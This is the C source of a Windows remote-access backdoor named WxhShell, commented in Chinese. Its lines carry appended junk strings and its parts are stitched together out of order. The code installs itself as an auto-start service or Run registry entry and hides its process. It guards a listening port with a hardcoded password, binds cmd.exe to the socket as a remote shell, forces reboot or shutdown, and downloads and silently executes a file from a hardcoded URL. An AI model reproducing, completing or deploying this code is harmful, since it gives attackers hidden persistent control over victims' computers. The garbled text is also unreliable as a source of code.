    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8(GJz ~y  
    if(Boot(SHUTDOWN)) -W"  w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5PT*b}g@  
    else { 5l /EZ\q  
    closesocket(wsh); w;DRC5V>  
    ExitThread(0); }Lb[`H,}A  
    } ~i9'9PHX@  
    break; uKpWb1(  
    } OR-fC  
  // 获取shell /U,;]^  
  case 's': { \Q MRuR.  
    CmdShell(wsh); ,gbQqoLV  
    closesocket(wsh); Q\GSX RP  
    ExitThread(0); lZhd^69y  
    break; j?oh~7Ki  
  } y/6%'56uF  
  // 退出 %@x.km3e2  
  case 'x': { t8z=R6zX  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (Q][d+} /  
    CloseIt(wsh); \m3ca-Y  
    break; eQ eucmQd{  
    } 4X:S#z  
  // 离开 KIHr%  
  case 'q': { ^@AIXBe  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]c$)0O\O  
    closesocket(wsh); UN Kr FYl  
    WSACleanup(); /UPe@  
    exit(1); YhFd0A?]  
    break; 0%GQXiy  
        } f-l(H="e  
  } }*M>gvPo  
  } ~"#[<d  
1usLCG>w{  
  // 提示信息 )2y# cM*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xe!6Pgcb  
} /4#A|;d_  
  } z(_#C s  
0fQMOTpOp  
  return; J^<}fRw  
} {Z{!tR?+  
~jn~M_}K  
// shell模块句柄 4ROuy+Ms'  
int CmdShell(SOCKET sock) Q\[2BJo/  
{ 3!0~/8!f@  
STARTUPINFO si; e?)ic\K  
ZeroMemory(&si,sizeof(si)); 6]5e(J{Fz  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; YO`V'6\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; zDx*R3%  
PROCESS_INFORMATION ProcessInfo; };s8xGW:k3  
char cmdline[]="cmd"; 7xy[;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1;N5@0%p  
  return 0; E [b6k&A  
} 1|/]bffg!c  
z,q1TU9  
// 自身启动模式 tg' 2 v/  
int StartFromService(void) wDz}32wB  
{ Ym5ji$!2  
typedef struct ,f?+QV\T.  
{ 0L|D1_k[  
  DWORD ExitStatus; QFX )Nov];  
  DWORD PebBaseAddress; E|l qlS7  
  DWORD AffinityMask; S"G`j!m1  
  DWORD BasePriority; s\A4y "  
  ULONG UniqueProcessId; |?/,ED+|>D  
  ULONG InheritedFromUniqueProcessId; ;{hE]jReH  
}   PROCESS_BASIC_INFORMATION; nH7i)!cI~  
BEnIyVU;L  
PROCNTQSIP NtQueryInformationProcess; k9vzxZ%s:  
bAZ x*qE=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !,zRg5Wp4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; TW5Pt{X= f  
N9=1<{Z  
  HANDLE             hProcess; f?|cQ[#t!\  
  PROCESS_BASIC_INFORMATION pbi; z*B-`i.  
F>/"If#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); iW,fKXuo&y  
  if(NULL == hInst ) return 0; p`2w\P3;)  
uKE?VNC]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); EX9os  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |v31weD8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); t1MK5B5jH  
B #zU'G*Y  
  if (!NtQueryInformationProcess) return 0; MiB}10  
~gJJ@j 0n  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); g;G]Xi.B}  
  if(!hProcess) return 0; Qvl3=[S  
2{fPQQ;#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; iX\]-_D  
T99\R%  
  CloseHandle(hProcess); b!3Y<D*  
{Jn*{5tZ>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); vm Y*K  
if(hProcess==NULL) return 0; \GEf,%U<K  
bfl%yGkd/|  
HMODULE hMod; Hm*?<o9mxC  
char procName[255]; O[O[E}8#  
unsigned long cbNeeded; X4{O/G  
* j]"I=D  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2GC{+*  
9qXKHro  
  CloseHandle(hProcess); nht?58  
[+4/M3J%  
if(strstr(procName,"services")) return 1; // 以服务启动 $++SF)G1]_  
uA~T.b\  
  return 0; // 注册表启动 Os>^z@x  
} 6< O|,7=_  
lZf=#  
// 主模块 QssU\@ / Q  
int StartWxhshell(LPSTR lpCmdLine) q6a7o=BP]  
{ D +Ui1h-  
  SOCKET wsl; w:+wx/\  
BOOL val=TRUE; Ti!<{>  
  int port=0; g6p:1;Evf  
  struct sockaddr_in door; n 0rAOkW  
'&42E[0P  
  if(wscfg.ws_autoins) Install(); K! I]0!:  
`D~wY^q{  
port=atoi(lpCmdLine);  "yA=Tw  
I@jXW>$  
if(port<=0) port=wscfg.ws_port; ,wPvv(b]a  
ZtPnHs.x  
  WSADATA data; uk=f /nT  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \6WVs>z  
g r[M-U  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;2%8tV$V  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3:~ *cU  
  door.sin_family = AF_INET; %=EN 3>,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); kK&M>)&o#  
  door.sin_port = htons(port); "-afHXED  
(HD8Mm  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { uXkc07 r'  
closesocket(wsl); MR`lF-|a|  
return 1; 5%1a!M M M  
} }I>h<O  
b^q8s4(   
  if(listen(wsl,2) == INVALID_SOCKET) { i}E&mv'  
closesocket(wsl); +fRABY5C  
return 1; Wi%e9r{hU  
} rS&"UH?c7  
  Wxhshell(wsl); `m7w%J.>n  
  WSACleanup(); ~H~iKl}|7  
NL} Q3Vv1.  
return 0; }ofx?s}  
L-z9n@=8\  
} Gw1Rp  
N&jHU+{OU  
// 以NT服务方式启动 w+W! dM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Cyu= c1D;  
{ fv+t%,++:  
DWORD   status = 0; {#C)S&o)6  
  DWORD   specificError = 0xfffffff; (YC{BM}  
jWjp0ii  
  serviceStatus.dwServiceType     = SERVICE_WIN32; WkUV)/j  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; B57MzIZi]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; yi&6HNb  
  serviceStatus.dwWin32ExitCode     = 0; c]1\88  
  serviceStatus.dwServiceSpecificExitCode = 0; YQ$EN>.eO  
  serviceStatus.dwCheckPoint       = 0; _CImf1  
  serviceStatus.dwWaitHint       = 0; vzH"O=  
<TQ,7M4X  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b<E+5;u  
  if (hServiceStatusHandle==0) return; ^<OcbOn;O  
.4O~a  
status = GetLastError(); "HwSW4a]  
  if (status!=NO_ERROR) 5 ^867  
{ -XNawpl`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; UEeq@ot/4  
    serviceStatus.dwCheckPoint       = 0; s9aa _Th  
    serviceStatus.dwWaitHint       = 0; u/ZV35z  
    serviceStatus.dwWin32ExitCode     = status; 4];<` %  
    serviceStatus.dwServiceSpecificExitCode = specificError; iRK&-wn  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Xt9vTCox  
    return; d$qi. %<kh  
  } 7,7-E&d  
Or3GrZ!H  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; tQWjNP~  
  serviceStatus.dwCheckPoint       = 0; tB{HH%cV  
  serviceStatus.dwWaitHint       = 0; =V>inH  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )&vuT q'7'  
} e<+$E%"7hS  
Rx,5?*b$  
// 处理NT服务事件,比如:启动、停止 g)L<xN8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [M/0Qx[,  
{ f(UB$^4  
switch(fdwControl) ^{ {0ajI9C  
{ U ljWBd  
case SERVICE_CONTROL_STOP:  "[ #.  
  serviceStatus.dwWin32ExitCode = 0; cJLAP%.L  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; p>9|JMk  
  serviceStatus.dwCheckPoint   = 0; 20Z=_},  
  serviceStatus.dwWaitHint     = 0; d\-v+'d*+  
  { E/@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?DgeKA"A  
  } V:<Z   
  return; >QSlH]M  
case SERVICE_CONTROL_PAUSE: 1uco{JX<S  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *)D$w_06S  
  break; 2|\WaH9P  
case SERVICE_CONTROL_CONTINUE: O<()T6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^@HWw@GA  
  break; 31 &;3?3>  
case SERVICE_CONTROL_INTERROGATE: -^ R?O  
  break; )K!!Zq3;|  
}; iiLDl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {M ^5w  
} Bg.  
?*L{xNC#  
// 标准应用程序主函数 r)|6H"n#]S  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8e"MP\0V  
{ 1YScZ  
Nh[H[1"J  
// 获取操作系统版本 C Ef*:kr  
OsIsNt=GetOsVer(); D%~"]WnZ\Q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9Yhl q$;g  
J b?x-%Za  
  // 从命令行安装 &t,"k'p  
  if(strpbrk(lpCmdLine,"iI")) Install(); $bFH%EA.  
"@YtxYTW-  
  // 下载执行文件 tSVU,m  
if(wscfg.ws_downexe) { !QlCt>{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9Ecc~'f  
  WinExec(wscfg.ws_filenam,SW_HIDE); pmc)$3u  
} ib%'{?Q.  
k2/t~|5  
if(!OsIsNt) { h{ T{3  
// 如果时win9x,隐藏进程并且设置为注册表启动 Vl/fkd,Z  
HideProc(); 3FG'A[x3O  
StartWxhshell(lpCmdLine); hdDL92JVg  
} )(+q~KA}  
else _sAcvKH  
  if(StartFromService()) p]rV\,Yss  
  // 以服务方式启动 {sW>J0  
  StartServiceCtrlDispatcher(DispatchTable); I<qG{PA  
else 6 \}.l  
  // 普通方式启动 ${{[g16X  
  StartWxhshell(lpCmdLine); WI1DL&*B@<  
snP]&l+  
return 0; d+p^fBz  
} :%<'('S |  
.^8rO ,H[  
c)Ne/E{!0  
s\e b  
=========================================== %?Q<  
HdRwDW@7=  
#xh M&X  
cb }OjM F  
j [4l'8Ek  
Uc9hv?  
" ;sAe#b  
V3<#_:;  
#include <stdio.h> 8&SW Q  
#include <string.h> Q})&c.L  
#include <windows.h> 7U:{=+oLR  
#include <winsock2.h> \Nj#1G  
#include <winsvc.h> *^:s! F  
#include <urlmon.h> "u)Le6.  
\$!D^%~;  
#pragma comment (lib, "Ws2_32.lib") umN4|X  
#pragma comment (lib, "urlmon.lib") xoQ(GrBY  
-`D<OSt7  
#define MAX_USER   100 // 最大客户端连接数 gI00@p:m  
#define BUF_SOCK   200 // sock buffer 9^E!2CJ  
#define KEY_BUFF   255 // 输入 buffer D*'sOB(  
B\tm  
#define REBOOT     0   // 重启 70{B/ ($  
#define SHUTDOWN   1   // 关机 lE$(*1H  
[I gqK5@  
#define DEF_PORT   5000 // 监听端口 wW7#M  
e4FR)d0x  
#define REG_LEN     16   // 注册表键长度 aH\A  
#define SVC_LEN     80   // NT服务名长度 ko"xR%Q  
(5 e4>p&+  
// 从dll定义API gF:| j(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); qq"0X! w  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =1\mLI}@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0|ekwTx.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {E.A?yej9  
B:ugEAo_  
// wxhshell配置信息 N%9?8X[5  
struct WSCFG { y?Pw6;e.  
  int ws_port;         // 监听端口 {a ]u  
  char ws_passstr[REG_LEN]; // 口令 O7m-_#/\   
  int ws_autoins;       // 安装标记, 1=yes 0=no EFv^uve  
  char ws_regname[REG_LEN]; // 注册表键名 wli H3vA_  
  char ws_svcname[REG_LEN]; // 服务名 /4;Sxx-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !Y 9V1oVf"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <j1r6.E)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "JE->iD  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %~[@5<p  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" pJIJ"o'>.9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 o%*C7bU  
7C wWf  
}; S R s  
.\ :MB7p  
// default Wxhshell configuration tAkv'.  
struct WSCFG wscfg={DEF_PORT, 5> !N)pA  
    "xuhuanlingzhe", 'EN80+xYX  
    1, FSkLR h  
    "Wxhshell", `3*QKi$  
    "Wxhshell", Hc-up.?v'v  
            "WxhShell Service", q2/kegAT  
    "Wrsky Windows CmdShell Service", }*S`1IWMj  
    "Please Input Your Password: ", S~)_=4Z  
  1, .)<l69ZD Z  
  "http://www.wrsky.com/wxhshell.exe", $4Dr +Z H  
  "Wxhshell.exe" 3R)|DGql=1  
    }; )4N1EuD6  
]|u7P{Z"R  
// 消息定义模块 X^rFRk  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; mY]o_\`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; cPkP/3I]h  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^$]iUb{\  
char *msg_ws_ext="\n\rExit."; #Jt1AV  
char *msg_ws_end="\n\rQuit."; u> =\.d <  
char *msg_ws_boot="\n\rReboot..."; F$i 6  
char *msg_ws_poff="\n\rShutdown..."; 39I|.B"  
char *msg_ws_down="\n\rSave to "; < <F  
p_vl dTIW  
char *msg_ws_err="\n\rErr!"; >">Xd@Wk  
char *msg_ws_ok="\n\rOK!"; 8#[2]1X^8  
v]rbm}uU9  
char ExeFile[MAX_PATH]; 6}~k4;'}A  
int nUser = 0; y9k'jEZ"oh  
HANDLE handles[MAX_USER]; SVObJsB^  
int OsIsNt; !s:_>P`MQ  
Ibx\k  
SERVICE_STATUS       serviceStatus; uN1VkmtDO  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; y}?PyPz  
[("2=Uz;  
// 函数声明 .m.Ga|;  
int Install(void); O8Z+g{  
int Uninstall(void); D5:|CMQ  
int DownloadFile(char *sURL, SOCKET wsh); DK20}&RQ  
int Boot(int flag); :4)(Qa(  
void HideProc(void); n5)ml)m  
int GetOsVer(void); Ti7 @{7>  
int Wxhshell(SOCKET wsl); PPh<9$1\g  
void TalkWithClient(void *cs); 85$ WH  
int CmdShell(SOCKET sock); Bd- &~s^  
int StartFromService(void); ]Inu'p\  
int StartWxhshell(LPSTR lpCmdLine); ))<vCfuz2  
 S9^S W3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3Pp+>{2_?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Wf-XH|j[  
\.>7w 1p  
// 数据结构和表定义 zF|c3ap  
SERVICE_TABLE_ENTRY DispatchTable[] = CH q5KB98+  
{ Uy*d@vU9c  
{wscfg.ws_svcname, NTServiceMain}, A 8-a}0Gh  
{NULL, NULL} N1$PW~)Y  
}; 1K(mdL{m5  
PF#<CF$=  
// 自我安装  P1)87P  
int Install(void) `P <#kt  
{ IusZYB  
  char svExeFile[MAX_PATH]; :*^aSPlV  
  HKEY key; A%x0'?GU  
  strcpy(svExeFile,ExeFile); FHEP/T\5  
3177R>0  
// 如果是win9x系统,修改注册表设为自启动 j-VwY/X  
if(!OsIsNt) { UZ "!lpg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sbhzER  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [rW];H8:~  
  RegCloseKey(key); x-W~&`UU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |Y?<58[!)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5<Uh2c  
  RegCloseKey(key); W*Ow%$%2  
  return 0; %I{>H%CjE  
    } 6J@,bB jVz  
  } A&M(a  
} Z1:<i*6>D  
else { $F[+H Wf  
4O.R=c2}7>  
// 如果是NT以上系统,安装为系统服务 PgA1:i&'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8aKS=(Z!j  
if (schSCManager!=0) o7WAH@g  
{ 0-;>O|U3  
  SC_HANDLE schService = CreateService =vvd)og  
  ( lrL:G[rt  
  schSCManager, Dr[;\/|#  
  wscfg.ws_svcname, a)c;z@r  
  wscfg.ws_svcdisp, =f [/Pv  
  SERVICE_ALL_ACCESS, .lM]>y)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Zu~w:uNmU  
  SERVICE_AUTO_START, u&[L!w  
  SERVICE_ERROR_NORMAL, 9 W|'~r  
  svExeFile, FP}I+Ys  
  NULL, o|q5eUh=EY  
  NULL, @vXXf/  
  NULL, hc3tzB  
  NULL, <&2<>*/.y  
  NULL w w[|| =  
  ); BkPt 1i  
  if (schService!=0) H_Va$}8z  
  { &:u3-:$:9  
  CloseServiceHandle(schService); #I*{_|}=  
  CloseServiceHandle(schSCManager); 9Kg yt  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *SIYZE'  
  strcat(svExeFile,wscfg.ws_svcname); Vh2uzG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { x*RSD,3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); nC!]@lA  
  RegCloseKey(key); KLj=M;$:K  
  return 0; jSH.e?  
    } nRu %0Op  
  } ~WORC\kCW  
  CloseServiceHandle(schSCManager); AzSu_  
} IG{Me  
} f6Lc"b3s1  
#5kclu%L$  
return 1; Gqc6]{  
} oylQCbT   
:zq Un&k&  
// 自我卸载 /U0Hk>$~(  
int Uninstall(void) |)" y  
{ ^suQ7#g  
  HKEY key; "I:*  
JM?__b7g2  
if(!OsIsNt) { "Da-e\yA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qY'+@^<U;  
  RegDeleteValue(key,wscfg.ws_regname); HY1K(T  
  RegCloseKey(key); 1]5k l J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J/E''*  
  RegDeleteValue(key,wscfg.ws_regname); Ea][:3  
  RegCloseKey(key); pL} F{G.  
  return 0; g|->W]q@;  
  } J~4mp\4b  
} *o\AP([@  
} 9S[.ESI{>  
else { kB=B?V~#  
{ dh,sbl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); H&%oHyK  
if (schSCManager!=0) &4sz:y4T>  
{ e`H>}O/ai  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); O[eU{ ;P  
  if (schService!=0) X }i2qv  
  { US3)+6  
  if(DeleteService(schService)!=0) { 9I2&Vx=DSt  
  CloseServiceHandle(schService); 0#Pa;(  
  CloseServiceHandle(schSCManager); .VNz( s  
  return 0; SZLugyZ2Y  
  } m@+QC$6S  
  CloseServiceHandle(schService); qV idtSb  
  } 8~t8^eBg  
  CloseServiceHandle(schSCManager); 27+faR  
} KK1?!7  
} a^|9rho<  
qyFeq])  
return 1; 4c{j9mh  
} ]0 = |?n$7  
o<txm?+N  
// 从指定url下载文件 ,H,[ )8  
int DownloadFile(char *sURL, SOCKET wsh)  f+ !J1  
{ Y?7GFkIP$  
  HRESULT hr; ~av#r=x  
char seps[]= "/"; jO5R~O`  
char *token; l0URJRK{*  
char *file; 4X7J~  
char myURL[MAX_PATH]; a#i|)[  
char myFILE[MAX_PATH]; +9|0\Q  
00f'G2n  
strcpy(myURL,sURL); .5!`wwVi  
  token=strtok(myURL,seps); ,7:-V<'Yv  
  while(token!=NULL) ]s^+/8d=  
  { Vy[xu$y  
    file=token; (ER9.k2  
  token=strtok(NULL,seps); KS$"Re$  
  } _yR_u+5  
oqysfLJ  
GetCurrentDirectory(MAX_PATH,myFILE); q+oc^FD?@  
strcat(myFILE, "\\"); qm_m8   
strcat(myFILE, file); )*XWe|H_  
  send(wsh,myFILE,strlen(myFILE),0); ?PTXgIC  
send(wsh,"...",3,0); ILl~f\xG)  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ! l0"nPM=  
  if(hr==S_OK) nK+ke)'Zv=  
return 0; ,ayJgAD  
else 2gkN\w6zQ  
return 1; r-!Qw1  
\,X)!%6kZ  
} !9YCuHj!p  
$ (xdF  
// 系统电源模块 #qF 1z}L(  
int Boot(int flag) =Hn--DEMg  
{ /3^XJb$Sa  
  HANDLE hToken; iymN|KdpaZ  
  TOKEN_PRIVILEGES tkp; 5p}j{f  
_>;MQ)Km~  
  if(OsIsNt) { 1 hFh F^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |ka/5o  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3RGmmX"?G  
    tkp.PrivilegeCount = 1; `{h)-Y``  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; dR< d7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |39,n~"o&  
if(flag==REBOOT) { -P|claO0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) W^xO/xu1 /  
  return 0; Cd=$XJ-b  
} 7}~w9jK"F  
else { [ 't.x=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) yhbU;qEG9  
  return 0; N\Lu+ x5  
} PX/{!_mM  
  } Z'2AsT  
  else { +^esL9RG:  
if(flag==REBOOT) { X0^@E   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /FC HF#yK  
  return 0; S2E z}*plp  
} UjoA$A!Od;  
else { tA< UkPT  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G rU`;M"  
  return 0; I;E?;i  
} /@1YlxKF  
} u=W[ S)w  
!1i-"rR  
return 1; VY8cy2  
} 8UgogNR\  
! M CV@5$  
// win9x进程隐藏模块 o/V T"cT  
void HideProc(void) 0k16f3uI   
{ zT6nC5E  
,K\7y2/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <7rj,O1=  
  if ( hKernel != NULL ) ^W:a7cMw  
  { %!nN<%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); h6O'"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^zO{Aks  
    FreeLibrary(hKernel); ]N'% l]_$  
  } ~D|,$E tX4  
< B]qqqP  
return; j xkQ #Y  
} R59iuHQ[  
B&rNgG7~  
// 获取操作系统版本 =_C&lc"  
int GetOsVer(void) ?K:\WW  
{ pQ0*)}l,  
  OSVERSIONINFO winfo; yUo8-OaL7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); G93V=Bk=  
  GetVersionEx(&winfo); YQHpW>z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^c}3o|1m(  
  return 1; ~!5Qb{^  
  else "~ $i#  
  return 0; ZpOME@9,  
} LkzA_|8:D  
:*]#n  
// 客户端句柄模块 XK/l1E3N  
int Wxhshell(SOCKET wsl) j;y(to-e>D  
{ u4xtlGt5  
  SOCKET wsh; 4Ps;Cor+  
  struct sockaddr_in client; zw+wq+2"  
  DWORD myID; Hqs-q4G$  
gAztdA sLM  
  while(nUser<MAX_USER) N_B^k8j  
{ q|]CA  
  int nSize=sizeof(client); _wb]tE ~g  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); l#^?sbG  
  if(wsh==INVALID_SOCKET) return 1; %regt{  
`~=z0I  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); w{[^  
if(handles[nUser]==0) FqbGT(QB0  
  closesocket(wsh); aBaiXv/*  
else }F.k,2  
  nUser++; ^8 ,prxaok  
  } %au>D  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); LFi* O&  
;DnUeE8  
  return 0; vI(LIfe;  
} dz/@]a  
1DAU *^-  
// 关闭 socket LB]3-FsU+  
void CloseIt(SOCKET wsh) K O\HH  
{ +l)t5Mg\  
closesocket(wsh); JS m7-p|E  
nUser--; }UGSE2^1  
ExitThread(0); )Z/w|5<  
} P nE7}  
&53,8r  
// 客户端请求句柄 $#5 'c+0  
void TalkWithClient(void *cs) aL&egM*  
{ vO9=CCxvq  
Y0lLO0'  
  SOCKET wsh=(SOCKET)cs; 4V,p\$;  
  char pwd[SVC_LEN]; hwe6@T.#  
  char cmd[KEY_BUFF]; 7Rtjm  
char chr[1]; 6g#yzex  
int i,j; hV,T889'  
SODHn9)  
  while (nUser < MAX_USER) { .,qh,m\Fo  
fOSk > gK  
if(wscfg.ws_passstr) { ]C"?xy  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9"S iHp\)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e&i`/m5  
  //ZeroMemory(pwd,KEY_BUFF); f!YlYk5  
      i=0; &P}t<;  
  while(i<SVC_LEN) { |+HJ>xA4I  
7z3tDE[#  
  // 设置超时 !'# D~   
  fd_set FdRead; sDg1nKw(  
  struct timeval TimeOut; `0U\|I#  
  FD_ZERO(&FdRead); WO%pX+PoH  
  FD_SET(wsh,&FdRead); d\3 %5Y  
  TimeOut.tv_sec=8; 1QmOUw}yj  
  TimeOut.tv_usec=0; 2Uf/'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); G/3T0d+-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /]J\/Z>  
9@"pR;X@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &Lzd*}7  
  pwd=chr[0]; T'lycc4~a  
  if(chr[0]==0xd || chr[0]==0xa) { SOsz=bVx  
  pwd=0; (m! kg  
  break; I*>q7Hsu  
  } q~aj" GD  
  i++; }L|B@fW  
    } ;(}~m&p  
lAo~w  
  // 如果是非法用户,关闭 socket 7O|`\&RY R  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); F%lC%~-qh  
} ^vSSG5  :  
X)RgXl{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5K?/-0yG  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IOxtuR  
5$:9nPAH  
while(1) { \5<Z[#{  
->;2CcpHB  
  ZeroMemory(cmd,KEY_BUFF); (AjgLNB  
f0^s<:*  
      // 自动支持客户端 telnet标准   fsEQ4xN'  
  j=0; a"O;DYh  
  while(j<KEY_BUFF) { p]y.N)a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SfY 5Xgp  
  cmd[j]=chr[0]; C]JK'K<7-  
  if(chr[0]==0xa || chr[0]==0xd) { *K?UWi#$  
  cmd[j]=0; y?r`[{L(lA  
  break; M/[_~  
  } ;m.6 ~A  
  j++; eTgtt-;VR  
    } Ug0c0z!b  
sb_/FE5e  
  // 下载文件 e#}Fm;|d  
  if(strstr(cmd,"http://")) { -\%5aXr  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (4q/LuP^d  
  if(DownloadFile(cmd,wsh)) j$6Q]5KdoS  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,2FI?}+R  
  else iE;F=Rb  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oVp/EQ  
  } K9}Brhe  
